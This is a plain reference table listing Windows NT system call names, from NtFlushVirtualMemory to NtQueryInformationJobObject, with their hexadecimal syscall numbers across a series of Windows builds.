180 179 NtFlushVirtualMemory 0x00dc 0x00dd 0x00df 0x00e2 0x00e3 0x00e4 0x00e5 0x00e6 0x00e6 0x00eb 0x00eb 0x00eb 0x00ec 0x00ec 0x00f0 0x00f1 0x00f2 0x00f2 0x00f3 0x00f4 0x00f4
181 180 NtFlushWriteBuffer 0x00dd 0x00de 0x00e0 0x00e3 0x00e4 0x00e5 0x00e6 0x00e7 0x00e7 0x00ec 0x00ec 0x00ec 0x00ed 0x00ed 0x00f1 0x00f2 0x00f3 0x00f3 0x00f4 0x00f5 0x00f5
182 181 NtFreeUserPhysicalPages 0x00de 0x00df 0x00e1 0x00e4 0x00e5 0x00e6 0x00e7 0x00e8 0x00e8 0x00ed 0x00ed 0x00ed 0x00ee 0x00ee 0x00f2 0x00f3 0x00f4 0x00f4 0x00f5 0x00f6 0x00f6
183 182 NtFreeVirtualMemory 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e 0x001e
184 183 NtFreezeRegistry 0x00df 0x00e0 0x00e2 0x00e5 0x00e6 0x00e7 0x00e8 0x00e9 0x00e9 0x00ee 0x00ee 0x00ee 0x00ef 0x00ef 0x00f3 0x00f4 0x00f5 0x00f5 0x00f6 0x00f7 0x00f7
185 184 NtFreezeTransactions 0x00e0 0x00e1 0x00e3 0x00e6 0x00e7 0x00e8 0x00e9 0x00ea 0x00ea 0x00ef 0x00ef 0x00ef 0x00f0 0x00f0 0x00f4 0x00f5 0x00f6 0x00f6 0x00f7 0x00f8 0x00f8
186 185 NtFsControlFile 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039 0x0039
187 186 NtGetCachedSigningLevel 0x00e1 0x00e2 0x00e4 0x00e7 0x00e8 0x00e9 0x00ea 0x00eb 0x00eb 0x00f0 0x00f0 0x00f0 0x00f1 0x00f1 0x00f5 0x00f6 0x00f7 0x00f7 0x00f8 0x00f9 0x00f9
188 187 NtGetCompleteWnfStateSubscription 0x00e2 0x00e3 0x00e5 0x00e8 0x00e9 0x00ea 0x00eb 0x00ec 0x00ec 0x00f1 0x00f1 0x00f1 0x00f2 0x00f2 0x00f6 0x00f7 0x00f8 0x00f8 0x00f9 0x00fa 0x00fa
189 188 NtGetContextThread 0x00e3 0x00e4 0x00e6 0x00e9 0x00ea 0x00eb 0x00ec 0x00ed 0x00ed 0x00f2 0x00f2 0x00f2 0x00f3 0x00f3 0x00f7 0x00f8 0x00f9 0x00f9 0x00fa 0x00fb 0x00fb
190 189 NtGetCurrentProcessorNumber 0x00e4 0x00e5 0x00e7 0x00ea 0x00eb 0x00ec 0x00ed 0x00ee 0x00ee 0x00f3 0x00f3 0x00f3 0x00f4 0x00f4 0x00f8 0x00f9 0x00fa 0x00fa 0x00fb 0x00fc 0x00fc
191 190 NtGetCurrentProcessorNumberEx 0x00e5 0x00e6 0x00e8 0x00eb 0x00ec 0x00ed 0x00ee 0x00ef 0x00ef 0x00f4 0x00f4 0x00f4 0x00f5 0x00f5 0x00f9 0x00fa 0x00fb 0x00fb 0x00fc 0x00fd 0x00fd
192 191 NtGetDevicePowerState 0x00e6 0x00e7 0x00e9 0x00ec 0x00ed 0x00ee 0x00ef 0x00f0 0x00f0 0x00f5 0x00f5 0x00f5 0x00f6 0x00f6 0x00fa 0x00fb 0x00fc 0x00fc 0x00fd 0x00fe 0x00fe
193 192 NtGetMUIRegistryInfo 0x00e7 0x00e8 0x00ea 0x00ed 0x00ee 0x00ef 0x00f0 0x00f1 0x00f1 0x00f6 0x00f6 0x00f6 0x00f7 0x00f7 0x00fb 0x00fc 0x00fd 0x00fd 0x00fe 0x00ff 0x00ff
194 193 NtGetNextProcess 0x00e8 0x00e9 0x00eb 0x00ee 0x00ef 0x00f0 0x00f1 0x00f2 0x00f2 0x00f7 0x00f7 0x00f7 0x00f8 0x00f8 0x00fc 0x00fd 0x00fe 0x00fe 0x00ff 0x0100 0x0100
195 194 NtGetNextThread 0x00e9 0x00ea 0x00ec 0x00ef 0x00f0 0x00f1 0x00f2 0x00f3 0x00f3 0x00f8 0x00f8 0x00f8 0x00f9 0x00f9 0x00fd 0x00fe 0x00ff 0x00ff 0x0100 0x0101 0x0101
196 195 NtGetNlsSectionPtr 0x00ea 0x00eb 0x00ed 0x00f0 0x00f1 0x00f2 0x00f3 0x00f4 0x00f4 0x00f9 0x00f9 0x00f9 0x00fa 0x00fa 0x00fe 0x00ff 0x0100 0x0100 0x0101 0x0102 0x0102
197 196 NtGetNotificationResourceManager 0x00eb 0x00ec 0x00ee 0x00f1 0x00f2 0x00f3 0x00f4 0x00f5 0x00f5 0x00fa 0x00fa 0x00fa 0x00fb 0x00fb 0x00ff 0x0100 0x0101 0x0101 0x0102 0x0103 0x0103
198 197 NtGetPlugPlayEvent
199 198 NtGetWriteWatch 0x00ec 0x00ed 0x00ef 0x00f2 0x00f3 0x00f4 0x00f5 0x00f6 0x00f6 0x00fb 0x00fb 0x00fb 0x00fc 0x00fc 0x0100 0x0101 0x0102 0x0102 0x0103 0x0104 0x0104
200 199 NtImpersonateAnonymousToken 0x00ed 0x00ee 0x00f0 0x00f3 0x00f4 0x00f5 0x00f6 0x00f7 0x00f7 0x00fc 0x00fc 0x00fc 0x00fd 0x00fd 0x0101 0x0102 0x0103 0x0103 0x0104 0x0105 0x0105
201 200 NtImpersonateClientOfPort 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f 0x001f
202 201 NtImpersonateThread 0x00ee 0x00ef 0x00f1 0x00f4 0x00f5 0x00f6 0x00f7 0x00f8 0x00f8 0x00fd 0x00fd 0x00fd 0x00fe 0x00fe 0x0102 0x0103 0x0104 0x0104 0x0105 0x0106 0x0106
203 202 NtInitializeEnclave 0x00f0 0x00f2 0x00f5 0x00f6 0x00f7 0x00f8 0x00f9 0x00f9 0x00fe 0x00fe 0x00fe 0x00ff 0x00ff 0x0103 0x0104 0x0105 0x0105 0x0106 0x0107 0x0107
204 203 NtInitializeNlsFiles 0x00ef 0x00f1 0x00f3 0x00f6 0x00f7 0x00f8 0x00f9 0x00fa 0x00fa 0x00ff 0x00ff 0x00ff 0x0100 0x0100 0x0104 0x0105 0x0106 0x0106 0x0107 0x0108 0x0108
205 204 NtInitializeRegistry 0x00f0 0x00f2 0x00f4 0x00f7 0x00f8 0x00f9 0x00fa 0x00fb 0x00fb 0x0100 0x0100 0x0100 0x0101 0x0101 0x0105 0x0106 0x0107 0x0107 0x0108 0x0109 0x0109
206 205 NtInitiatePowerAction 0x00f1 0x00f3 0x00f5 0x00f8 0x00f9 0x00fa 0x00fb 0x00fc 0x00fc 0x0101 0x0101 0x0101 0x0102 0x0102 0x0106 0x0107 0x0108 0x0108 0x0109 0x010a 0x010a
207 206 NtIsProcessInJob 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f 0x004f
208 207 NtIsSystemResumeAutomatic 0x00f2 0x00f4 0x00f6 0x00f9 0x00fa 0x00fb 0x00fc 0x00fd 0x00fd 0x0102 0x0102 0x0102 0x0103 0x0103 0x0107 0x0108 0x0109 0x0109 0x010a 0x010b 0x010b
209 208 NtIsUILanguageComitted 0x00f3 0x00f5 0x00f7 0x00fa 0x00fb 0x00fc 0x00fd 0x00fe 0x00fe 0x0103 0x0103 0x0103 0x0104 0x0104 0x0108 0x0109 0x010a 0x010a 0x010b 0x010c 0x010c
210 209 NtListTransactions
211 210 NtListenPort 0x00f4 0x00f6 0x00f8 0x00fb 0x00fc 0x00fd 0x00fe 0x00ff 0x00ff 0x0104 0x0104 0x0104 0x0105 0x0105 0x0109 0x010a 0x010b 0x010b 0x010c 0x010d 0x010d
212 211 NtLoadDriver 0x00f5 0x00f7 0x00f9 0x00fc 0x00fd 0x00fe 0x00ff 0x0100 0x0100 0x0105 0x0105 0x0105 0x0106 0x0106 0x010a 0x010b 0x010c 0x010c 0x010d 0x010e 0x010e
213 212 NtLoadEnclaveData 0x00f8 0x00fa 0x00fd 0x00fe 0x00ff 0x0100 0x0101 0x0101 0x0106 0x0106 0x0106 0x0107 0x0107 0x010b 0x010c 0x010d 0x010d 0x010e 0x010f 0x010f
214 213 NtLoadHotPatch 0x00fe 0x00ff 0x0100
215 214 NtLoadKey 0x00f6 0x00f9 0x00fb 0x00ff 0x0100 0x0101 0x0101 0x0102 0x0102 0x0107 0x0107 0x0107 0x0108 0x0108 0x010c 0x010d 0x010e 0x010e 0x010f 0x0110 0x0110
216 215 NtLoadKey2 0x00f7 0x00fa 0x00fc 0x0100 0x0101 0x0102 0x0102 0x0103 0x0103 0x0108 0x0108 0x0108 0x0109 0x0109 0x010d 0x010e 0x010f 0x010f 0x0110 0x0111 0x0111
217 216 NtLoadKey3 0x01d6 0x01d6 0x01d6 0x01d7 0x01d7 0x010e 0x010f 0x0110 0x0110 0x0111 0x0112 0x0112
218 217 NtLoadKeyEx 0x00f8 0x00fb 0x00fd 0x0101 0x0102 0x0103 0x0103 0x0104 0x0104 0x0109 0x0109 0x0109 0x010a 0x010a 0x010f 0x0110 0x0111 0x0111 0x0112 0x0113 0x0113
219 218 NtLockFile 0x00f9 0x00fc 0x00fe 0x0102 0x0103 0x0104 0x0104 0x0105 0x0105 0x010a 0x010a 0x010a 0x010b 0x010b 0x0110 0x0111 0x0112 0x0112 0x0113 0x0114 0x0114
220 219 NtLockProductActivationKeys 0x00fa 0x00fd 0x00ff 0x0103 0x0104 0x0105 0x0105 0x0106 0x0106 0x010b 0x010b 0x010b 0x010c 0x010c 0x0111 0x0112 0x0113 0x0113 0x0114 0x0115 0x0115
221 220 NtLockRegistryKey 0x00fb 0x00fe 0x0100 0x0104 0x0105 0x0106 0x0106 0x0107 0x0107 0x010c 0x010c 0x010c 0x010d 0x010d 0x0112 0x0113 0x0114 0x0114 0x0115 0x0116 0x0116
222 221 NtLockVirtualMemory 0x00fc 0x00ff 0x0101 0x0105 0x0106 0x0107 0x0107 0x0108 0x0108 0x010d 0x010d 0x010d 0x010e 0x010e 0x0113 0x0114 0x0115 0x0115 0x0116 0x0117 0x0117
223 222 NtMakePermanentObject 0x00fd 0x0100 0x0102 0x0106 0x0107 0x0108 0x0108 0x0109 0x0109 0x010e 0x010e 0x010e 0x010f 0x010f 0x0114 0x0115 0x0116 0x0116 0x0117 0x0118 0x0118
224 223 NtMakeTemporaryObject 0x00fe 0x0101 0x0103 0x0107 0x0108 0x0109 0x0109 0x010a 0x010a 0x010f 0x010f 0x010f 0x0110 0x0110 0x0115 0x0116 0x0117 0x0117 0x0118 0x0119 0x0119
225 224 NtManageHotPatch 0x010a 0x010b 0x010b 0x0110 0x0110 0x0110 0x0111 0x0111 0x0116 0x0117 0x0118 0x0118 0x0119 0x011a 0x011a
226 225 NtManagePartition 0x00ff 0x0102 0x0104 0x0108 0x0109 0x010a 0x010b 0x010c 0x010c 0x0111 0x0111 0x0111 0x0112 0x0112 0x0117 0x0118 0x0119 0x0119 0x011a 0x011b 0x011b
227 226 NtMapCMFModule 0x0100 0x0103 0x0105 0x0109 0x010a 0x010b 0x010c 0x010d 0x010d 0x0112 0x0112 0x0112 0x0113 0x0113 0x0118 0x0119 0x011a 0x011a 0x011b 0x011c 0x011c
228 227 NtMapUserPhysicalPages 0x0101 0x0104 0x0106 0x010a 0x010b 0x010c 0x010d 0x010e 0x010e 0x0113 0x0113 0x0113 0x0114 0x0114 0x0119 0x011a 0x011b 0x011b 0x011c 0x011d 0x011d
229 228 NtMapUserPhysicalPagesScatter 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003 0x0003
230 229 NtMapViewOfSection 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028 0x0028
231 230 NtMapViewOfSectionEx 0x010d 0x010e 0x010f 0x010f 0x0114 0x0114 0x0114 0x0115 0x0115 0x011a 0x011b 0x011c 0x011c 0x011d 0x011e 0x011e
232 231 NtMarshallTransaction
233 232 NtModifyBootEntry 0x0102 0x0105 0x0107 0x010b 0x010c 0x010e 0x010f 0x0110 0x0110 0x0115 0x0115 0x0115 0x0116 0x0116 0x011b 0x011c 0x011d 0x011d 0x011e 0x011f 0x011f
234 233 NtModifyDriverEntry 0x0103 0x0106 0x0108 0x010c 0x010d 0x010f 0x0110 0x0111 0x0111 0x0116 0x0116 0x0116 0x0117 0x0117 0x011c 0x011d 0x011e 0x011e 0x011f 0x0120 0x0120
235 234 NtNotifyChangeDirectoryFile 0x0104 0x0107 0x0109 0x010d 0x010e 0x0110 0x0111 0x0112 0x0112 0x0117 0x0117 0x0117 0x0118 0x0118 0x011d 0x011e 0x011f 0x011f 0x0120 0x0121 0x0121
236 235 NtNotifyChangeDirectoryFileEx 0x010f 0x0111 0x0112 0x0113 0x0113 0x0118 0x0118 0x0118 0x0119 0x0119 0x011e 0x011f 0x0120 0x0120 0x0121 0x0122 0x0122
237 236 NtNotifyChangeKey 0x0105 0x0108 0x010a 0x010e 0x0110 0x0112 0x0113 0x0114 0x0114 0x0119 0x0119 0x0119 0x011a 0x011a 0x011f 0x0120 0x0121 0x0121 0x0122 0x0123 0x0123
238 237 NtNotifyChangeMultipleKeys 0x0106 0x0109 0x010b 0x010f 0x0111 0x0113 0x0114 0x0115 0x0115 0x011a 0x011a 0x011a 0x011b 0x011b 0x0120 0x0121 0x0122 0x0122 0x0123 0x0124 0x0124
239 238 NtNotifyChangeSession 0x0107 0x010a 0x010c 0x0110 0x0112 0x0114 0x0115 0x0116 0x0116 0x011b 0x011b 0x011b 0x011c 0x011c 0x0121 0x0122 0x0123 0x0123 0x0124 0x0125 0x0125
240 239 NtOpenCpuPartition 0x0124 0x0124 0x0125 0x0126 0x0126
241 240 NtOpenDirectoryObject 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058 0x0058
242 241 NtOpenEnlistment 0x0108 0x010b 0x010d 0x0111 0x0113 0x0115 0x0116 0x0117 0x0117 0x011c 0x011c 0x011c 0x011d 0x011d 0x0122 0x0123 0x0125 0x0125 0x0126 0x0127 0x0127
243 242 NtOpenEvent 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040 0x0040
244 243 NtOpenEventPair 0x0109 0x010c 0x010e 0x0112 0x0114 0x0116 0x0117 0x0118 0x0118 0x011d 0x011d 0x011d 0x011e 0x011e 0x0123 0x0124 0x0126 0x0126 0x0127 0x0128 0x0128
245 244 NtOpenFile 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033 0x0033
246 245 NtOpenIoCompletion 0x010a 0x010d 0x010f 0x0113 0x0115 0x0117 0x0118 0x0119 0x0119 0x011e 0x011e 0x011e 0x011f 0x011f 0x0124 0x0125 0x0127 0x0127 0x0128 0x0129 0x0129
247 246 NtOpenJobObject 0x010b 0x010e 0x0110 0x0114 0x0116 0x0118 0x0119 0x011a 0x011a 0x011f 0x011f 0x011f 0x0120 0x0120 0x0125 0x0126 0x0128 0x0128 0x0129 0x012a 0x012a
248 247 NtOpenKey 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012 0x0012
249 248 NtOpenKeyEx 0x010c 0x010f 0x0111 0x0115 0x0117 0x0119 0x011a 0x011b 0x011b 0x0120 0x0120 0x0120 0x0121 0x0121 0x0126 0x0127 0x0129 0x0129 0x012a 0x012b 0x012b
250 249 NtOpenKeyTransacted 0x010d 0x0110 0x0112 0x0116 0x0118 0x011a 0x011b 0x011c 0x011c 0x0121 0x0121 0x0121 0x0122 0x0122 0x0127 0x0128 0x012a 0x012a 0x012b 0x012c 0x012c
251 250 NtOpenKeyTransactedEx 0x010e 0x0111 0x0113 0x0117 0x0119 0x011b 0x011c 0x011d 0x011d 0x0122 0x0122 0x0122 0x0123 0x0123 0x0128 0x0129 0x012b 0x012b 0x012c 0x012d 0x012d
252 251 NtOpenKeyedEvent 0x010f 0x0112 0x0114 0x0118 0x011a 0x011c 0x011d 0x011e 0x011e 0x0123 0x0123 0x0123 0x0124 0x0124 0x0129 0x012a 0x012c 0x012c 0x012d 0x012e 0x012e
253 252 NtOpenMutant 0x0110 0x0113 0x0115 0x0119 0x011b 0x011d 0x011e 0x011f 0x011f 0x0124 0x0124 0x0124 0x0125 0x0125 0x012a 0x012b 0x012d 0x012d 0x012e 0x012f 0x012f
254 253 NtOpenObjectAuditAlarm 0x0111 0x0114 0x0116 0x011a 0x011c 0x011e 0x011f 0x0120 0x0120 0x0125 0x0125 0x0125 0x0126 0x0126 0x012b 0x012c 0x012e 0x012e 0x012f 0x0130 0x0130
255 254 NtOpenPartition 0x0112 0x0115 0x0117 0x011b 0x011d 0x011f 0x0120 0x0121 0x0121 0x0126 0x0126 0x0126 0x0127 0x0127 0x012c 0x012d 0x012f 0x012f 0x0130 0x0131 0x0131
256 255 NtOpenPrivateNamespace 0x0113 0x0116 0x0118 0x011c 0x011e 0x0120 0x0121 0x0122 0x0122 0x0127 0x0127 0x0127 0x0128 0x0128 0x012d 0x012e 0x0130 0x0130 0x0131 0x0132 0x0132
257 256 NtOpenProcess 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026 0x0026
258 257 NtOpenProcessToken 0x0114 0x0117 0x0119 0x011d 0x011f 0x0121 0x0122 0x0123 0x0123 0x0128 0x0128 0x0128 0x0129 0x0129 0x012e 0x012f 0x0131 0x0131 0x0132 0x0133 0x0133
259 258 NtOpenProcessTokenEx 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030 0x0030
260 259 NtOpenRegistryTransaction 0x011a 0x011e 0x0120 0x0122 0x0123 0x0124 0x0124 0x0129 0x0129 0x0129 0x012a 0x012a 0x012f 0x0130 0x0132 0x0132 0x0133 0x0134 0x0134
261 260 NtOpenResourceManager 0x0115 0x0118 0x011b 0x011f 0x0121 0x0123 0x0124 0x0125 0x0125 0x012a 0x012a 0x012a 0x012b 0x012b 0x0130 0x0131 0x0133 0x0133 0x0134 0x0135 0x0135
262 261 NtOpenSection 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037 0x0037
263 262 NtOpenSemaphore 0x0116 0x0119 0x011c 0x0120 0x0122 0x0124 0x0125 0x0126 0x0126 0x012b 0x012b 0x012b 0x012c 0x012c 0x0131 0x0132 0x0134 0x0134 0x0135 0x0136 0x0136
264 263 NtOpenSession 0x0117 0x011a 0x011d 0x0121 0x0123 0x0125 0x0126 0x0127 0x0127 0x012c 0x012c 0x012c 0x012d 0x012d 0x0132 0x0133 0x0135 0x0135 0x0136 0x0137 0x0137
265 264 NtOpenSymbolicLinkObject 0x0118 0x011b 0x011e 0x0122 0x0124 0x0126 0x0127 0x0128 0x0128 0x012d 0x012d 0x012d 0x012e 0x012e 0x0133 0x0134 0x0136 0x0136 0x0137 0x0138 0x0138
266 265 NtOpenThread 0x0119 0x011c 0x011f 0x0123 0x0125 0x0127 0x0128 0x0129 0x0129 0x012e 0x012e 0x012e 0x012f 0x012f 0x0134 0x0135 0x0137 0x0137 0x0138 0x0139 0x0139
267 266 NtOpenThreadToken 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024 0x0024
268 267 NtOpenThreadTokenEx 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f 0x002f
269 268 NtOpenTimer 0x011a 0x011d 0x0120 0x0124 0x0126 0x0128 0x0129 0x012a 0x012a 0x012f 0x012f 0x012f 0x0130 0x0130 0x0135 0x0136 0x0138 0x0138 0x0139 0x013a 0x013a
270 269 NtOpenTransaction 0x011b 0x011e 0x0121 0x0125 0x0127 0x0129 0x012a 0x012b 0x012b 0x0130 0x0130 0x0130 0x0131 0x0131 0x0136 0x0137 0x0139 0x0139 0x013a 0x013b 0x013b
271 270 NtOpenTransactionManager 0x011c 0x011f 0x0122 0x0126 0x0128 0x012a 0x012b 0x012c 0x012c 0x0131 0x0131 0x0131 0x0132 0x0132 0x0137 0x0138 0x013a 0x013a 0x013b 0x013c 0x013c
272 271 NtPlugPlayControl 0x011d 0x0120 0x0123 0x0127 0x0129 0x012b 0x012c 0x012d 0x012d 0x0132 0x0132 0x0132 0x0133 0x0133 0x0138 0x0139 0x013b 0x013b 0x013c 0x013d 0x013d
273 272 NtPowerInformation 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f 0x005f
274 273 NtPrePrepareComplete 0x011e 0x0121 0x0124 0x0128 0x012a 0x012c 0x012d 0x012e 0x012e 0x0133 0x0133 0x0133 0x0134 0x0134 0x0139 0x013a 0x013c 0x013c 0x013d 0x013e 0x013e
275 274 NtPrePrepareEnlistment 0x011f 0x0122 0x0125 0x0129 0x012b 0x012d 0x012e 0x012f 0x012f 0x0134 0x0134 0x0134 0x0135 0x0135 0x013a 0x013b 0x013d 0x013d 0x013e 0x013f 0x013f
276 275 NtPrepareComplete 0x0120 0x0123 0x0126 0x012a 0x012c 0x012e 0x012f 0x0130 0x0130 0x0135 0x0135 0x0135 0x0136 0x0136 0x013b 0x013c 0x013e 0x013e 0x013f 0x0140 0x0140
277 276 NtPrepareEnlistment 0x0121 0x0124 0x0127 0x012b 0x012d 0x012f 0x0130 0x0131 0x0131 0x0136 0x0136 0x0136 0x0137 0x0137 0x013c 0x013d 0x013f 0x013f 0x0140 0x0141 0x0141
278 277 NtPrivilegeCheck 0x0122 0x0125 0x0128 0x012c 0x012e 0x0130 0x0131 0x0132 0x0132 0x0137 0x0137 0x0137 0x0138 0x0138 0x013d 0x013e 0x0140 0x0140 0x0141 0x0142 0x0142
279 278 NtPrivilegeObjectAuditAlarm 0x0123 0x0126 0x0129 0x012d 0x012f 0x0131 0x0132 0x0133 0x0133 0x0138 0x0138 0x0138 0x0139 0x0139 0x013e 0x013f 0x0141 0x0141 0x0142 0x0143 0x0143
280 279 NtPrivilegedServiceAuditAlarm 0x0124 0x0127 0x012a 0x012e 0x0130 0x0132 0x0133 0x0134 0x0134 0x0139 0x0139 0x0139 0x013a 0x013a 0x013f 0x0140 0x0142 0x0142 0x0143 0x0144 0x0144
281 280 NtPropagationComplete 0x0125 0x0128 0x012b 0x012f 0x0131 0x0133 0x0134 0x0135 0x0135 0x013a 0x013a 0x013a 0x013b 0x013b 0x0140 0x0141 0x0143 0x0143 0x0144 0x0145 0x0145
282 281 NtPropagationFailed 0x0126 0x0129 0x012c 0x0130 0x0132 0x0134 0x0135 0x0136 0x0136 0x013b 0x013b 0x013b 0x013c 0x013c 0x0141 0x0142 0x0144 0x0144 0x0145 0x0146 0x0146
283 282 NtProtectVirtualMemory 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050 0x0050
284 283 NtPssCaptureVaSpaceBulk 0x013c 0x013c 0x013c 0x013d 0x013d 0x0142 0x0143 0x0145 0x0145 0x0146 0x0147 0x0147
285 284 NtPullTransaction
286 285 NtPulseEvent 0x0127 0x012a 0x012d 0x0131 0x0133 0x0135 0x0136 0x0137 0x0137 0x013d 0x013d 0x013d 0x013e 0x013e 0x0143 0x0144 0x0146 0x0146 0x0147 0x0148 0x0148
287 286 NtQueryAttributesFile 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d 0x003d
288 287 NtQueryAuxiliaryCounterFrequency 0x0132 0x0134 0x0136 0x0137 0x0138 0x0138 0x013e 0x013e 0x013e 0x013f 0x013f 0x0144 0x0145 0x0147 0x0147 0x0148 0x0149 0x0149
289 288 NtQueryBootEntryOrder 0x0128 0x012b 0x012e 0x0133 0x0135 0x0137 0x0138 0x0139 0x0139 0x013f 0x013f 0x013f 0x0140 0x0140 0x0145 0x0146 0x0148 0x0148 0x0149 0x014a 0x014a
290 289 NtQueryBootOptions 0x0129 0x012c 0x012f 0x0134 0x0136 0x0138 0x0139 0x013a 0x013a 0x0140 0x0140 0x0140 0x0141 0x0141 0x0146 0x0147 0x0149 0x0149 0x014a 0x014b 0x014b
291 290 NtQueryDebugFilterState 0x012a 0x012d 0x0130 0x0135 0x0137 0x0139 0x013a 0x013b 0x013b 0x0141 0x0141 0x0141 0x0142 0x0142 0x0147 0x0148 0x014a 0x014a 0x014b 0x014c 0x014c
292 291 NtQueryDefaultLocale 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015 0x0015
293 292 NtQueryDefaultUILanguage 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044 0x0044
294 293 NtQueryDirectoryFile 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035 0x0035
295 294 NtQueryDirectoryFileEx 0x0138 0x013a 0x013b 0x013c 0x013c 0x0142 0x0142 0x0142 0x0143 0x0143 0x0148 0x0149 0x014b 0x014b 0x014c 0x014d 0x014d
296 295 NtQueryDirectoryObject 0x012b 0x012e 0x0131 0x0136 0x0139 0x013b 0x013c 0x013d 0x013d 0x0143 0x0143 0x0143 0x0144 0x0144 0x0149 0x014a 0x014c 0x014c 0x014d 0x014e 0x014e
297 296 NtQueryDriverEntryOrder 0x012c 0x012f 0x0132 0x0137 0x013a 0x013c 0x013d 0x013e 0x013e 0x0144 0x0144 0x0144 0x0145 0x0145 0x014a 0x014b 0x014d 0x014d 0x014e 0x014f 0x014f
298 297 NtQueryEaFile 0x012d 0x0130 0x0133 0x0138 0x013b 0x013d 0x013e 0x013f 0x013f 0x0145 0x0145 0x0145 0x0146 0x0146 0x014b 0x014c 0x014e 0x014e 0x014f 0x0150 0x0150
299 298 NtQueryEvent 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056 0x0056
300 299 NtQueryFullAttributesFile 0x012e 0x0131 0x0134 0x0139 0x013c 0x013e 0x013f 0x0140 0x0140 0x0146 0x0146 0x0146 0x0147 0x0147 0x014c 0x014d 0x014f 0x014f 0x0150 0x0151 0x0151
301 300 NtQueryInformationAtom 0x012f 0x0132 0x0135 0x013a 0x013d 0x013f 0x0140 0x0141 0x0141 0x0147 0x0147 0x0147 0x0148 0x0148 0x014d 0x014e 0x0150 0x0150 0x0151 0x0152 0x0152
302 301 NtQueryInformationByName 0x013b 0x013e 0x0140 0x0141 0x0142 0x0142 0x0148 0x0148 0x0148 0x0149 0x0149 0x014e 0x014f 0x0151 0x0151 0x0152 0x0153 0x0153
303 302 NtQueryInformationCpuPartition 0x0152 0x0152 0x0153 0x0154 0x0154
304 303 NtQueryInformationEnlistment 0x0130 0x0133 0x0136 0x013c 0x013f 0x0141 0x0142 0x0143 0x0143 0x0149 0x0149 0x0149 0x014a 0x014a 0x014f 0x0150 0x0153 0x0153 0x0154 0x0155 0x0155
305 304 NtQueryInformationFile 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011 0x0011
306 305 NtQueryInformationJobObject 0x0131 0x0134 0x0137 0x013d 0x0140 0x0142 0x0143 0x0144 0x0144 0x014a 0x014a 0x014a 0x014b 0x014b 0x0150 0x0151 0x0154 0x0154 0x0155 0x0156 0x0156
